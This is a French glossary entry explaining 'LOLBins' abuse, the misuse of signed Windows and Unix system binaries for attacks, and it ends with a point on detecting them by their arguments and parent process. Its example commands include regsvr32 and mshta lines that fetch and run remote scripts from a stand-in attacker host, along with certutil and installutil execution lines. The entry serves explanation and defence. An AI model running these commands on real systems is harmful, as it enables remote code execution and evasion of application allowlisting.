LOLBins Abuse

Définition

LOLBins Abuse (Living Off the Land Binaries Abuse) désigne l'utilisation détournée de binaires, scripts et bibliothèques légitimes fournis avec le système d'exploitation Windows (ou d'autres OS) pour effectuer des actions malveillantes sans avoir à introduire des outils externes. La technique tire son nom du concept de 'vivre aux dépens du pays' : l'attaquant utilise les ressources déjà présentes sur le terrain. Le projet LOLBAS (lolbas-project.github.io) documente plus de 150 binaires Windows légitimes avec leurs utilisations offensives : download de fichiers (certutil.exe, bitsadmin.exe, mshta.exe, powershell.exe, wget.exe natif), exécution de code arbitraire (regsvr32.exe, mshta.exe, wmic.exe, cmstp.exe, rundll32.exe), contournement de liste blanche d'applications (installutil.exe, regsvcs.exe, mavinject.exe, ieexec.exe), et encode/decode de données (certutil.exe -encode/-decode). Des exemples emblématiques : certutil.exe -decode payload.b64 payload.exe télécharge et décode un payload depuis une chaîne base64, regsvr32.exe /s /n /u /i:http://attaquant.com/file.sct scrobj.dll exécute un script COM depuis une URL distante (technique Squiblydoo), mshta.exe http://attaquant.com/file.hta exécute un HTA (HTML Application) arbitraire, et installutil.exe /logfile= /logtoconsole=false /u payload.exe exécute du code .NET arbitraire. Sur Linux, le projet GTFOBins documente des utilisations similaires pour des binaires Unix (find, awk, python, perl, ruby, bash, etc.) pour l'escalade de privilèges, la persistance, et l'exfiltration. Ces binaires sont souvent accessibles avec des permissions sudo ou SUID. L'efficacité des LOLBins réside dans leur légitimité : ils sont signés par Microsoft, présents dans C:\Windows\System32, et inclus dans les listes blanches d'applications (AppLocker, WDAC). Bloquer ou alerter sur leur utilisation nécessite une analyse du contexte (arguments, processus parent) plutôt que de leur simple présence.